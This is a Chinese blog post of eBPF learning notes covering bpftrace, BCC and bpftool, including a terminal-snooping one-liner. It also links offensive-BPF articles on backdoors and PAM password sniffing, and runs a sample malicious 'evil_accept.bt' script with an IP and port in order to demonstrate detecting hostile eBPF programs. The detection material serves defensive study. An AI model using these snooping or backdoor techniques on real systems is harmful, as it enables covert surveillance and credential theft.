eBPF入门文献汇总

admin 2022年12月22日10:58:03评论25 views字数 35603阅读118分40秒阅读模式
创建: 2022-12-05 16:08
更新: 2022-12-06 14:09
http://scz.617.cn:8/unix/202212051608.txt

目录:

☆ eBPF
    1) bpftrace
        1.1) 查看安装版bpftrace版本
        1.2) 自编译bpftrace
        1.3tracepoint:*
            1.3.1tracepoint:syscalls:*
            1.3.2) tracepoint:raw_syscalls:*
        1.4) kprobe:*/kretprobe:*
            1.4.1) BTF
            1.4.2override (修改返回值)
                1.4.2.1) Inside override
                1.4.2.2) connect_block.bt
            1.4.3) kprobe:some+off
        1.5) uprobe:*/uretprobe:*
            1.5.2) uprobe:some+off
            1.5.3) uprobe:addr
            1.5.4) int3
            1.5.5) endbr64
        1.6) kfunc:*/kretfunc:*
        1.9) bpftrace自带.bt
    2) BCC
        2.1) bpfcc-tools自带.py
            2.1.1) bcc tools (git版)
        2.2) ttysnoop
    3) BPF Performance Tools
    4) unprivileged_bpf_disabled
    5) Offensive BPF
        5.5) 检测恶意eBPF
            5.5.1) bpftool
            5.5.2) crash
            5.5.3) bpf_probe_write_user
        5.6) 嗅探口令明文
    6) Bad BPF
        6.2) 示例
    7) libbpf (eBPF loader)
        7.1) arg0 type FWD is not a struct
        7.2) connect_block.bpf.c
            7.2.1) bpf_strncmp
        7.3) pamsnoop.bpf.c
        7.4) 基于eBPF的后门口令
            7.4.2) _unix_verify_password
            7.4.4) 用stap查看相关函数调用栈回溯
            7.4.5) verify_pwd_hash
            7.4.6) pamtamper.bpf.c
            7.4.7) 用ftrace/uprobe_events嗅探明文口令
            7.4.8) 基于pam_permit.so的后门
        7.5) ttysnoop.bpf.c
    8) libbpf-bootstrap
        8.1) 编译
        8.2) eBPF代码兼容性
    9) 其他文献
   10) eBPF入门小结

☆ eBPF

2022.9.26之前,我对eBPF一无所知,历史上用于抓包的BPF不算。后来陆续看了很多eBPF文献,算是入了门,写点入门心得。

eBPF最近几年发展迅速,许多新特性挑内核,有些过时的eBPF限制没必要与之较劲,入门时完全可以在较新内核上学习,比较熟了再去生产环境考虑向后兼容性。我在Ubuntu 22.04.1 LTS (Jammy Jellyfish)上测试eBPF,5.15.0-52-generic内核,这个内核版本已经较高,即便如此,仍有一些eBPF新特性未被支持。

1) bpftrace

入门最好从bpftrace开始,遍历如下文献,不要挑着看,全都看一遍,没必要零敲碎打地看其他的。

https://github.com/iovisor/bpftrace
https://github.com/iovisor/bpftrace/tree/master/tools

自编译bpftrace
https://github.com/iovisor/bpftrace/blob/master/INSTALL.md
(有讲Disable Lockdown)

The bpftrace One-Liner Tutorial
https://github.com/iovisor/bpftrace/blob/master/docs/tutorial_one_liners.md

bpftrace Reference Guide
https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md

bpftrace(8Manual Page
https://github.com/iovisor/bpftrace/blob/master/man/adoc/bpftrace.adoc

bpftrace(8)
https://manpages.ubuntu.com/manpages/focal/en/man8/bpftrace.bt.8.html

bpftrace Cheat Sheet
https://www.brendangregg.com/BPF/bpftrace-cheat-sheet.html

1.1) 查看安装版bpftrace版本

$ bpftrace --version
bpftrace v0.14.0

$ bpftrace --info |& grep version
 version: v0.14.0

$ dpkg -l bpftrace | grep ^ii
ii  bpftrace       0.14.0-1     amd64        high-level tracing language for Linux eBPF

$ apt-cache show bpftrace | grep Version
Version: 0.14.0-1

1.2) 自编译bpftrace

遍历

https://github.com/iovisor/bpftrace/blob/master/INSTALL.md

《Ubuntu 22上自编译bpftrace》
http://scz.617.cn:8/unix/202210221758.txt

自编译的bpftrace支持"(k|u)probe:some+off"

1.3) tracepoint:*

遍历

bpftrace Reference Guide
https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md

bpftrace -l 'tracepoint:*' | less
bpftrace -l 'tracepoint:*' | wc -l

1607个

还可用perf工具查看

perf list | grep Tracepoint | less
perf list | grep Tracepoint | wc -l

1602个

1.3.1) tracepoint:syscalls:*

bpftrace -l 'tracepoint:syscalls:*' | less
bpftrace -l 'tracepoint:syscalls:*' | wc -l

686个

$ bpftrace -lv 'tracepoint:syscalls:sys_enter_openat'
tracepoint:syscalls:sys_enter_openat
   int __syscall_nr
   int dfd
   const char * filename
   int flags
   umode_t mode

bpftrace -e 'tracepoint:syscalls:sys_enter_openat
/comm == str($1)/
{printf("%s (%d) -> %sn",comm,pid,str(args->filename))}'
cat

cat (97060) -> /etc/ld.so.cache
cat (97060) -> /lib/x86_64-linux-gnu/libc.so.6
cat (97060) -> /usr/lib/locale/locale-archive
cat (97060) -> /etc/hosts

1.3.2) tracepoint:raw_syscalls:*

$ bpftrace -lv 'tracepoint:raw_syscalls:*'
tracepoint:raw_syscalls:sys_enter
   long id
   unsigned long args[6]
tracepoint:raw_syscalls:sys_exit
   long id
   long ret

只有2个

$ grep "__NR_open" /usr/include/asm/unistd_64.h
#define __NR_open 2
#define __NR_openat 257
#define __NR_open_by_handle_at 304
#define __NR_open_tree 428
#define __NR_openat2 437

bpftrace -e 'tracepoint:raw_syscalls:sys_enter
/(args->id == 257 || args->id == 437) && comm == str($1)/
{printf("%s (%d) -> [%d] %sn",comm,pid,args->id,str(uptr(args->args[1])))}'
cat

cat (97947) -> [257] /etc/ld.so.cache
cat (97947) -> [257] /lib/x86_64-linux-gnu/libc.so.6
cat (97947) -> [257] /usr/lib/locale/locale-archive
cat (97947) -> [257] /etc/hosts

1.4) kprobe:*/kretprobe:*

bpftrace -l 'kprobe:*' | less
bpftrace -l 'kprobe:*' | wc -l

bpftrace -l 'kretprobe:*' | less
bpftrace -l 'kretprobe:*' | wc -l

52464个,"kprobe:*"比"tracepoint:*"多多了。

与"tracepoint:*"不同,无法用"bpftrace -lv"查看"kprobe:*"的参数,但有其他办法间接知道参数。可以查看相应的"kfunc:*",会自动利用BTF;可以借助stap快速查看参数;或直接查看内核源码。

$ bpftrace -lv 'kfunc:do_sys_openat2'
kfunc:do_sys_openat2
   int dfd
   const char * filename
   struct open_how * how
   long int retval

$ stap -L 'kernel.function("do_sys_openat2")'
kernel.function("do_sys_openat2@/build/linux-kQ6jNR/linux-5.15.0/fs/open.c:1199") $dfd:int $filename:char const* $how:struct open_how* $op:struct open_flags

"kprobe:do_sys_openat2"无法用dfd、filename、how,但可以用arg0、arg1、arg2访问之。

bpftrace -e 'kprobe:do_sys_openat2
/comm == str($1)/
{printf("%s (%d) -> %sn",comm,pid,str(uptr(arg1)))}'
cat

cat (97121) -> /etc/ld.so.cache
cat (97121) -> /lib/x86_64-linux-gnu/libc.so.6
cat (97121) -> /usr/lib/locale/locale-archive
cat (97121) -> /etc/hosts

单行内容较长时,可以指定较大的BPFTRACE_STRLEN

BPFTRACE_STRLEN=200
bpftrace -e 'kprobe:do_sys_openat2
{printf("%s (%d) -> %sn",comm,pid,str(uptr(arg1)))}'

1.4.1) BTF

$ grep _BTF /boot/config-$(uname  -r)
CONFIG_VIDEO_SONY_BTF_MPX=m
CONFIG_DEBUG_INFO_BTF=y
CONFIG_PAHOLE_HAS_SPLIT_BTF=y
CONFIG_DEBUG_INFO_BTF_MODULES=y

若有BTF可用,bpftrace可以查看"kfunc:vfs_open"、"struct path"

$ bpftrace -lv 'kfunc:vfs_open'
kfunc:vfs_open
   const struct path * path
   struct file * file
   int retval

$ bpftrace -lv "struct path"
struct path {
       struct vfsmount *mnt;
       struct dentry *dentry;
};

1.4.2) override (修改返回值)

$ grep -E '(CONFIG_BPF_KPROBE_OVERRIDE|CONFIG_FUNCTION_ERROR_INJECTION)=' /boot/config-$(uname  -r)
CONFIG_BPF_KPROBE_OVERRIDE=y
CONFIG_FUNCTION_ERROR_INJECTION=y

与stap不同,无法用bpftrace修改devmem_is_allowed返回值,按官方文档说法

This feature only works on functions tagged ALLOW_ERROR_INJECTION.

1.4.2.1) Inside override

参看

bpf-helpers(7)
https://man7.org/linux/man-pages/man7/bpf-helpers.7.html

底层有个bpf_override_return,可以这样用

int kprobe__should_failslab void *ctx )
{
    bpf_override_return( ctx, -ENOMEM );
    return 0;
}

对于"kprobe:func",bpf_override_return使得整个函数体被跳过,立即返回指定值。只能用于kprobe,不能用于kretprobe、kfunc、uprobe。

位于某个白名单中的"kprobe:func"才能调用bpf_override_return,若不在白名单中,调用bpf_override_return时会报错

ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument

bpftrace的override()是对bpf_override_return的封装。前述白名单对应全局变量error_injection_list

grep error_injection_list /proc/kallsyms
ffffffffa0075b70 t populate_error_injection_list
ffffffffa0075e00 T within_error_injection_list
ffffffffa0731dd2 t populate_error_injection_list.cold
ffffffffa1ac0c20 d error_injection_list

可用crash遍历error_injection_list,显示位于白名单范围的内核函数名。

1.4.2.2) connect_block.bt

练习题,拦截connect系统调用,对pid、comm、ip、mask、port进行过滤,调用override(),达到黑白名单效果,简易应用防火墙。

1.4.3) kprobe:some+off

需要自编译bpftrace,使得"bpftrace --info"看到"bfd: yes",才能支持"(k|u)probe:some+off","bfd: no"不支持。

$ /home/scz/src/bpftrace_scz/build/src/bpftrace --version
bpftrace v0.16.0-32-gcf34

$ gdb -q -nx --batch -ex 'x/10i do_sys_openat2' /usr/lib/debug/boot/vmlinux-$(uname -r)
   0xffffffff81389920 <do_sys_openat2>: call   0xffffffff8108b0a0 <__fentry__>
   0xffffffff81389925 <do_sys_openat2+5>:       push   %rbp
   0xffffffff81389926 <do_sys_openat2+6>:       mov    %rsp,%rbp
   0xffffffff81389929 <do_sys_openat2+9>:       push   %r14
   0xffffffff8138992b <do_sys_openat2+11>:      mov    %rsi,%r14
   0xffffffff8138992e <do_sys_openat2+14>:      push   %r13
   0xffffffff81389930 <do_sys_openat2+16>:      lea    -0x34(%rbp),%rsi
   0xffffffff81389934 <do_sys_openat2+20>:      mov    %edi,%r13d
   0xffffffff81389937 <do_sys_openat2+23>:      mov    %rdx,%rdi
   0xffffffff8138993a <do_sys_openat2+26>:      push   %r12

/home/scz/src/bpftrace_scz/build/src/bpftrace
-e 'kprobe:do_sys_openat2+26
/comm == str($1)/
{printf("%s (%d) -> %sn",comm,pid,str(uptr(reg("r14"))))}'
cat

cat (34438) -> /etc/ld.so.cache
cat (34438) -> /lib/x86_64-linux-gnu/libc.so.6
cat (34438) -> /usr/lib/locale/locale-archive
cat (34438) -> /etc/hosts

1.5) uprobe:*/uretprobe:*

bpftrace -l 'uprobe:/usr/bin/bash:*' | less
bpftrace -l 'uprobe:/usr/bin/bash:*' | wc -l

bpftrace -l 'uretprobe:/lib/x86_64-linux-gnu/libc.so.6:*' | less
bpftrace -l 'uretprobe:/lib/x86_64-linux-gnu/libc.so.6:*' | wc -l

BPFTRACE_STRLEN=200 bpftrace -e 'uprobe:libc:fopen
{printf("%s (%d) -> %sn",comm,pid,str(arg0))}'

systemd-oomd (578) -> /proc/meminfo
systemd-oomd (578) -> /sys/fs/cgroup/user.slice/user-0.slice/[email protected]/memory.pressure
systemd-oomd (578) -> /sys/fs/cgroup/user.slice/user-0.slice/[email protected]/memory.current

bpftrace -e 'uretprobe:/usr/bin/bash:readline
{printf("%s (%d) -> [%s]n",comm,pid,str(retval))}'

bash (40203) -> [cat /etc/hosts]

bpftrace的"uretprobe:*"底层用ftrace的uprobe_events。uretprobe安装的Hook位于call之后,而不是readline的ret指令所在,这使得uretprobe的reg("ip")不固定。

1.5.2) uprobe:some+off

$ gdb -q -nx --batch -ex 'x/10i __libc_open64' /lib/x86_64-linux-gnu/libc.so.6
   0x114690 <__libc_open64>:    endbr64
   0x114694 <__libc_open64+4>:  push   %r12
   0x114696 <__libc_open64+6>:  mov    %esi,%r10d
   0x114699 <__libc_open64+9>:  mov    %esi,%r12d
   0x11469c <__libc_open64+12>: push   %rbp
   0x11469d <__libc_open64+13>: mov    %rdi,%rbp
   0x1146a0 <__libc_open64+16>: sub    &#36;0x68,%rsp
   0x1146a4 <__libc_open64+20>: mov    %rdx,0x40(%rsp)
   0x1146a9 <__libc_open64+25>: mov    %fs:0x28,%rax
   0x1146b2 <__libc_open64+34>: mov    %rax,0x28(%rsp)

/home/scz/src/bpftrace_scz/build/src/bpftrace
-e 'uprobe:libc:__libc_open64+34
/comm == str($1)/
{printf("%s (%d) -> %sn",comm,pid,str(uptr(reg("bp"))));print(ustack(perf))}'
cat

cat (100905) -> /etc/hosts

    7eff0a08c6b2 0x7eff0a08c6b2 ([unknown])
    4c4c454853007374 0x4c4c454853007374 ([unknown])

ustack实在太弱鸡,毫无用处。

1.5.3) uprobe:addr

gdb -q -nx --batch
-ex "set disassembly-flavor intel"
-ex 'disassemble /r __open'
/lib/x86_64-linux-gnu/libc.so.6

gdb -q -nx --batch
-ex "set disassembly-flavor intel"
-ex 'disassemble /r __open,+39'
/lib/x86_64-linux-gnu/libc.so.6

   0x0000000000114690 <+0>:     f3 0f 1e fa     endbr64
   0x0000000000114694 <+4>:     41 54   push   r12
   0x0000000000114696 <+6>:     41 89 f2        mov    r10d,esi
   0x0000000000114699 <+9>:     41 89 f4        mov    r12d,esi
   0x000000000011469c <+12>:    55      push   rbp
   0x000000000011469d <+13>:    48 89 fd        mov    rbp,rdi
   0x00000000001146a0 <+16>:    48 83 ec 68     sub    rsp,0x68
   0x00000000001146a4 <+20>:    48 89 54 24 40  mov    QWORD PTR [rsp+0x40],rdx
   0x00000000001146a9 <+25>:    64 48 8b 04 25 28 00 00 00      mov    rax,QWORD PTR fs:0x28
   0x00000000001146b2 <+34>:    48 89 44 24 28  mov    QWORD PTR [rsp+0x28],rax

"uprobe:addr"中"addr"就是0x1146b2这类地址,也即IDA中Rebase之前看到的地址。bpftrace自动处理ASLR,千万不要自作聪明手工处理ASLR。

正常使用"uprobe:addr"时,无需指定"--unsafe",除非addr不在正常指令边界上。

可以用"uretprobe:addr",只要在addr处能取得栈上的RetAddr,最终Hook RetAddr,而非Hook ret指令所在。

1.5.4) int3

uprobe、uretprobe在指定位置实际写入int3(0xcc)

bpftrace -e 'uretprobe:/usr/bin/bash:readline
{printf("%s (%d) -> [%s]n",comm,pid,str(retval))}'

bash (28400) -> [cat /etc/hosts]

gdb -q -nx -x ./gdbinit_x64.txt -x ./gdbhelper.py
--batch -ex 'disassemble /r readline,+4'
-ex 'xxd readline 0x10' -p 28400

   0x000055839f430690 <readline+0>:     cc      int3
   0x000055839f430691 <readline+1>:     0f 1e fa        nop    edx

55839f430690: cc 0f 1e fa 41 54 53 48 83 ec 08 48 8d 05 16 81  ....ATSH...H....

从kernel 3.3开始,无需PTRACE_ATTACH即可读取/proc/[pid]/mem,于是dd、xxd等工具可直接转储、查看目标进程空间。

$ xxd -s &#36;[0x55839f430690] -l 16 -g 1 /proc/28400/mem
55839f430690: cc 0f 1e fa 41 54 53 48 83 ec 08 48 8d 05 16 81  ....ATSH...H....

bpftrace运行时,readline函数首字节被替换成0xcc,即int3,原本此处是endbr64。

$ objdump -j .text --disassemble=readline /usr/bin/bash | less

00000000000d5690 :
  d5690:       f3 0f 1e fa             endbr64
  d5694:       41 54                   push   %r12
  d5696:       53                      push   %rbx

1.5.5) endbr64

参看

What does the endbr64 instruction actually do - [2019-07-05]
https://stackoverflow.com/questions/56905811/what-does-the-endbr64-instruction-actually-do

《endbr64指令用途》
http://scz.617.cn:8/misc/202109171549.txt

1.6) kfunc:*/kretfunc:*

$ bpftrace --info 2>&1 | grep kfunc
 bpf_attach_kfunc: yes
 kfunc: yes

bpftrace -l 'kfunc:*' | less
bpftrace -l 'kfunc:*' | wc -l

bpftrace -l 'kretfunc:*' | less
bpftrace -l 'kretfunc:*' | wc -l

44646个。与kprobe、kretprobe不同,kfunc、kretfunc自动使用BTF。

$ bpftrace -lv 'kfunc:do_sys_openat2'
kfunc:do_sys_openat2
   int dfd
   const char * filename
   struct open_how * how
   long int retval

bpftrace -e 'kfunc:do_sys_openat2
/comm == str($1)/
{printf("%s (%d) -> %sn",comm,pid,str(uptr(args->filename)))}'
cat

cat (98003) -> /etc/ld.so.cache
cat (98003) -> /lib/x86_64-linux-gnu/libc.so.6
cat (98003) -> /usr/lib/locale/locale-archive
cat (98003) -> /etc/hosts

1.9) bpftrace自带.bt

dpkg -L bpftrace | grep .bt$

这些比较有意思

/usr/sbin/bashreadline.bt
/usr/sbin/execsnoop.bt
/usr/sbin/killsnoop.bt
/usr/sbin/opensnoop.bt
/usr/sbin/setuids.bt

2) BCC

bpftrace简捷明了,但对bpf-helpers(7)的封装不完整,没有bpf_probe_write_user。BCC Python Bindings相比bpftrace,能实现更多功能,遍历如下文献。BCC编程细节不在此介绍,看完下面这堆自然就会。

BPF Compiler Collection (BCC)
https://github.com/iovisor/bcc
https://github.com/iovisor/bcc/tree/master/tools
(aptitude install bpfcc-tools)
(git版本更新、更强大)

bcc Tutorial
https://github.com/iovisor/bcc/blob/master/docs/tutorial.md

bcc Reference Guide
https://github.com/iovisor/bcc/blob/master/docs/reference_guide.md

bcc Python Developer Tutorial
https://github.com/iovisor/bcc/blob/master/docs/tutorial_bcc_python_developer.md

bpf-helpers(7)
https://man7.org/linux/man-pages/man7/bpf-helpers.7.html

Learn eBPF Tracing: Tutorial and Examples - Brendan Gregg [2019-01-01]
https://www.brendangregg.com/blog/2019-01-01/learn-ebpf-tracing.html

2.1) bpfcc-tools自带.py

dpkg -L bpfcc-tools | grep .py$ | less
dpkg -L bpfcc-tools | grep -- '-bpfcc$' | less

这些比较有意思

/usr/share/doc/bpfcc-tools/examples/tracing/stacksnoop.py

/usr/sbin/bashreadline-bpfcc
/usr/sbin/bindsnoop-bpfcc
/usr/sbin/bpflist-bpfcc
/usr/sbin/execsnoop-bpfcc
/usr/sbin/exitsnoop-bpfcc
/usr/sbin/inject-bpfcc
/usr/sbin/killsnoop-bpfcc
/usr/sbin/sslsniff-bpfcc
/usr/sbin/tplist-bpfcc
/usr/sbin/trace-bpfcc
/usr/sbin/ttysnoop-bpfcc

比如

python3 /usr/share/doc/bpfcc-tools/examples/tracing/stacksnoop.py
-s -v do_sys_openat2

2.1.1) bcc tools (git版)

相比"aptitude install bpfcc-tools",git版本更新、更强大

https://github.com/iovisor/bcc/tree/master/tools
https://github.com/iovisor/bcc/blob/master/tools/inject.py
https://github.com/iovisor/bcc/blob/master/tools/inject_example.txt
https://github.com/iovisor/bcc/blob/master/tools/trace.py
https://github.com/iovisor/bcc/blob/master/tools/trace_example.txt
https://github.com/iovisor/bcc/blob/master/tools/sslsniff.py
https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt

有bpftrace的情况下trace.py无特别优势,并不推荐

2.2) ttysnoop

Ubuntu 22上tty_write的函数原型已经变成

static ssize_t tty_write(struct kiocb *iocb, struct iov_iter *from)

寻找引入上述函数原型的commit

cd /mnt/z/work/linux
git log -S "static ssize_t tty_write(struct kiocb *iocb, struct iov_iter *from)"

commit 9bb48c82aced07698a2d08ee0f1475a6c4f6b266
Author: Linus Torvalds <[email protected]>
Date:   Tue Jan 19 11:41:16 2021 -0800

    tty: implement write_iter

    This makes the tty layer use the .write_iter() function instead of the
    traditional .write() functionality.

查看指定commit

https://github.com/torvalds/linux/commit/9bb48c82aced

在这个页面上直接看到最早引入指定commit的内核版本,本例是v5.11-rc5。从前述commit看到之前的函数原型

static ssize_t tty_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos)

某些ttysnoop针对旧版函数原型编写,比如ttysnoop-bpfcc,已不适用于新版内核,
对此有多种修改方案。

新版tty_write最终会调用n_tty_write,后者函数原型如下

static ssize_t n_tty_write(struct tty_struct *tty, struct file *file, const unsigned char *buf, size_t nr)

据此实现最简ttysnoop,下例实际监听/dev/pts/3

BPFTRACE_STRLEN=200
bpftrace -e 'kfunc:n_tty_write
/args->tty->name == str($1)/
{printf("%s",str(args->buf,args->nr))}'
pts3

假设6是/dev/pts/3的inode号,下例同样可以进行ttysnoop

BPFTRACE_STRLEN=200
bpftrace -e 'kfunc:tty_write
/args->iocb->ki_filp->f_inode->i_ino == $1/
{printf("%s",str(uptr(args->from->iov->iov_base),args->from->iov->iov_len))}'
6

参看

https://github.com/iovisor/bcc/blob/master/tools/ttysnoop.py

Brendan Gregg在此提供了兼容性更好的ttysnoop实现,可用于Ubuntu 22。

3) BPF Performance Tools

参看

BPF Performance Tools
https://github.com/brendangregg/bpf-perf-tools-book

这是《BPF Performance Tools: Linux and Application Observability》的配套工具集。

cd /home/scz/src/
git clone https://github.com/brendangregg/bpf-perf-tools-book.git

cd /home/scz/src/bpf-perf-tools-book/originals/Ch06_CPUs/

bpftrace execsnoop.bt       // tracepoint:syscalls:sys_enter_execve

cd /home/scz/src/bpf-perf-tools-book/originals/Ch08_FileSystems/

BPFTRACE_STRLEN=200 bpftrace opensnoop.bt
                            // tracepoint:syscalls:sys_exit_openat
BPFTRACE_STRLEN=200 bpftrace statsnoop.bt
                            // tracepoint:syscalls:sys_exit_newlstat

cd /home/scz/src/bpf-perf-tools-book/originals/Ch10_Networking/

bpftrace soaccept.bt        // 取源IP、源PORT
                            // tracepoint:syscalls:sys_exit_accept
bpftrace tcpaccept-tp.bt    // 同时取四元组
                            // tracepoint:sock:inet_sock_set_state
bpftrace tcpaccept.bt       // 同时取四元组
                            // kretprobe:inet_csk_accept
bpftrace soconnect.bt       // 取目标IP、目标PORT
                            // tracepoint:syscalls:sys_exit_connect
bpftrace tcpconnect-tp.bt   // 取SADDR、DADDR、DPORT
                            // tracepoint:sock:inet_sock_set_state
                            // 有时不如soconnect.bt
bpftrace udpconnect.bt      // 取目标IP、目标PORT
                            // kprobe:ip4_datagram_connect

cd /home/scz/src/bpf-perf-tools-book/originals/Ch11_Security/

bpftrace bashreadline.bt    // uretprobe:/bin/bash:readline
bpftrace elfsnoop.bt        // kretprobe:load_elf_binary
bpftrace modsnoop.bt        // kprobe:do_init_module
                            // 可以看到stap加载模块
bpftrace setuids.bt         // tracepoint:syscalls:sys_exit_setresuid
bpftrace shellsnoop.bt 40203
                            // tracepoint:syscalls:sys_enter_write
                            // 效果不错
python3 shellsnoop.py 40203 // from bcc import BPF
                            // 输出不直观
bpftrace tcpreset.bt        // kprobe:tcp_v4_send_reset

cd /home/scz/src/bpf-perf-tools-book/originals/Ch13_Applications/

bpftrace killsnoop.bt       // tracepoint:syscalls:sys_exit_kill

4) unprivileged_bpf_disabled

参看

https://www.kernel.org/doc/html/latest/admin-guide/sysctl/kernel.html

cat /proc/sys/kernel/unprivileged_bpf_disabled

0   Unprivileged calls to bpf() are enabled
1   Unprivileged calls to bpf() are disabled without recovery
2   Unprivileged calls to bpf() are disabled

Ubuntu 22中该值缺省为2,这样修改

sysctl -qnw kernel.unprivileged_bpf_disabled=0
echo 0 > /proc/sys/kernel/unprivileged_bpf_disabled

5) Offensive BPF

遍历这个系列

Offensive BPF
https://embracethered.com/blog/tags/ebpf/
https://embracethered.com/blog/posts/2021/offensive-bpf/
https://github.com/wunderwuzzi23/Offensive-BPF/

Offensive BPF: Malicious bpftrace - wunderwuzzi [2021-10-05]
https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/

Offensive BPF: Using bpftrace to host backdoors - wunderwuzzi [2021-10-06]
https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace-message-based/

Offensive BPF: Detection Ideas - wunderwuzzi [2021-10-07]
https://embracethered.com/blog/posts/2021/offensive-bpf-detections-initial-ideas/

Offensive BPF: What's in the bpfcc-tools box - wunderwuzzi [2021-10-09]
https://embracethered.com/blog/posts/2021/offensive-bpf-handy-tools/

Offensive BPF: Sniffing Firefox traffic with bpftrace - wunderwuzzi [2021-10-14]
https://embracethered.com/blog/posts/2021/offensive-bpf-sniffing-traffic-bpftrace/

Offensive BPF: Understanding and using bpf_probe_write_user - wunderwuzzi [2021-10-20]
https://embracethered.com/blog/posts/2021/offensive-bpf-libbpf-bpf_probe_write_user/
(纯C调用bpf_probe_write_user,非BCC Python Bindings,libbfp编程)

Offensive BPF: Using bpftrace to sniff PAM logon passwords - wunderwuzzi [2022-07-10]
https://embracethered.com/blog/posts/2022/offensive-bpf-bpftrace-sniff-logon-pam-passwords/
https://github.com/wunderwuzzi23/Offensive-BPF/blob/main/bpftrace/pamsnoop.bt
https://github.com/linux-pam/linux-pam/blob/master/libpam/pam_private.h
https://man7.org/linux/man-pages/man3/pam_get_authtok.3.html

5.5) 检测恶意eBPF

假设正在执行

/home/scz/src/bpftrace_scz/build/src/bpftrace --unsafe evil_accept.bt 192.168.65.1 54321

bpftool prog | grep tracepoint -A 3
/home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog | grep tracepoint -A 3
/home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool --pretty prog show id <id>
bpftool prog dump xlated id <id>
bpftool prog dump xlated id <id> opcodes
/home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog dump jited id <id>
/home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog dump jited id <id> opcodes
bpflist-bpfcc -vv
ps auwx | grep unsafe

5.5.1) bpftool

参看bpftool(8)、bpftool-prog(8)、bpftool-btf(8)

安装版bpftool功能可能有缺失,需要自编译bpftool

cd /home/scz/src/kernel
tar xfj linux-5.15.0-52.58.tar.bz2
chmod +x /home/scz/src/kernel/linux-5.15.0-52.58/scripts/pahole-flags.sh
cd /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool
make

$ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool version -p
{
   "version": "5.15.60",
   "features": {
       "libbfd": true,
       "skeletons": true
   }
}

对比Ubuntu 22中安装版bpftool

$ bpftool version -p
{
   "version": "5.15.60",
   "features": {
       "libbfd": false,
       "skeletons": false
   }
}

假设正在执行

/home/scz/src/bpftrace_scz/build/src/bpftrace --unsafe evil_accept.bt 192.168.65.1 54321

用如下命令查看evil_accept.bt安装的tracepoint

$ bpftool prog | grep tracepoint -A 3
...
495: tracepoint  name sys_exit_accept  tag 088a6e384aea6d85  gpl
        loaded_at 2022-11-12T21:17:34+0800  uid 0
        xlated 1696B  jited 1061B  memlock 4096B  map_ids 478,479

自编译bpftool可以获取PID信息

$ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog | grep bpftrace -B 3
...
495: tracepoint  name sys_exit_accept  tag 088a6e384aea6d85  gpl
        loaded_at 2022-11-12T21:17:34+0800  uid 0
        xlated 1696B  jited 1061B  memlock 4096B  map_ids 478,479
        pids bpftrace(62009)

$ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool --pretty prog show id 495
{
   "id": 495,
   "type": "tracepoint",
   "name": "sys_exit_accept",
   "tag": "088a6e384aea6d85",
   "gpl_compatible": true,
   "loaded_at": 1668259054,
   "uid": 0,
   "bytes_xlated": 1696,
   "jited": true,
   "bytes_jited": 1061,
   "bytes_memlock": 4096,
   "map_ids": [478,479
   ],
   "pids": [{
           "pid": 62009,
           "comm": "bpftrace"
       }
   ]
}

显示指定id的BPF指令

$ bpftool prog dump xlated id 495
  0: (bf) r6 = r1
  1: (85) call bpf_get_current_pid_tgid#162864
  2: (67) r0 <<= 32   3: (77) r0 >>= 32

209: (85) call htab_map_delete_elem#184720
210: (b7) r0 = 1
211: (95) exit

显示指定id每条BPF指令的完整字节码

$ bpftool prog dump xlated id 495 opcodes

209: (85) call htab_map_delete_elem#184720
      85 00 00 00 90 d1 02 00
210: (b7) r0 = 1
      b7 00 00 00 01 00 00 00
211: (95) exit
      95 00 00 00 00 00 00 00

显示提定id的JIT汇编指令

$ bpftool prog dump jited id 495
Error: No libbfd support

报错表明Ubuntu 22中安装版bpftool不支持libbfd,搜到一句话

We don't and can't link with libbfd because of licence incompatibility.

需要自编译bpftool

$ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog dump jited id 495
bpf_prog_088a6e384aea6d85_sys_exit_accept:
  0:   nopl   0x0(%rax,%rax,1)
  5:   xchg   %ax,%ax
  7:   push   %rbp

416:   call   0xffffffffcde80958
41b:   mov    $0x1,%eax
420:   jmp    0x000000000000005c

显示指定id每条汇编指令的完整机器码

$ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog dump jited id 495 opcodes

416:   call   0xffffffffcde80958
       e8 3d 05 e8 cd
41b:   mov    $0x1,%eax
       b8 01 00 00 00
420:   jmp    0x000000000000005c
       e9 37 fc ff ff

从BTF中析取C语言格式的类型定义

bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h

5.5.2) crash

crash也可查看eBPF信息

crash -e emacs /usr/lib/debug/boot/vmlinux-$(uname -r) /proc/kcore

crash> bpf | grep TRACEPOINT
772  ffffabca006f1000 ffff96a06fa52c00  TRACEPOINT   9338d6ba6d4d0ad9    569
773  ffffabca00075000 ffff96a06fa51000  TRACEPOINT   9338d6ba6d4d0ad9    569
774  ffffabca0007d000 ffff96a06fa50400  TRACEPOINT   088a6e384aea6d85  569,570
775  ffffabca000b3000 ffff96a06fa51400  TRACEPOINT   088a6e384aea6d85  569,570

-t查看bytecode,-j查看jit结果,但不知用crash如何找出PID

crash> bpf -p 774 -tj
 ID      BPF_PROG       BPF_PROG_AUX   BPF_PROG_TYPE       TAG        USED_MAPS
774  ffffabca0007d000 ffff96a06fa50400  TRACEPOINT   088a6e384aea6d85  569,570
     XLATED: 1696  JITED: 1061  MEMLOCK: 4096
     LOAD_TIME: Tue Nov 01 14:40:48 2022
     GPL_COMPATIBLE: yes  NAME: "sys_exit_accept"  UID: 0

   0xffffffffc03a7aa0:  nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffffc03a7aa5:  xchg   ax,ax
   ...
   0xffffffffc03a7ec0:  jmp    0xffffffffc03a7afc

   0: (bf) r6 = r1
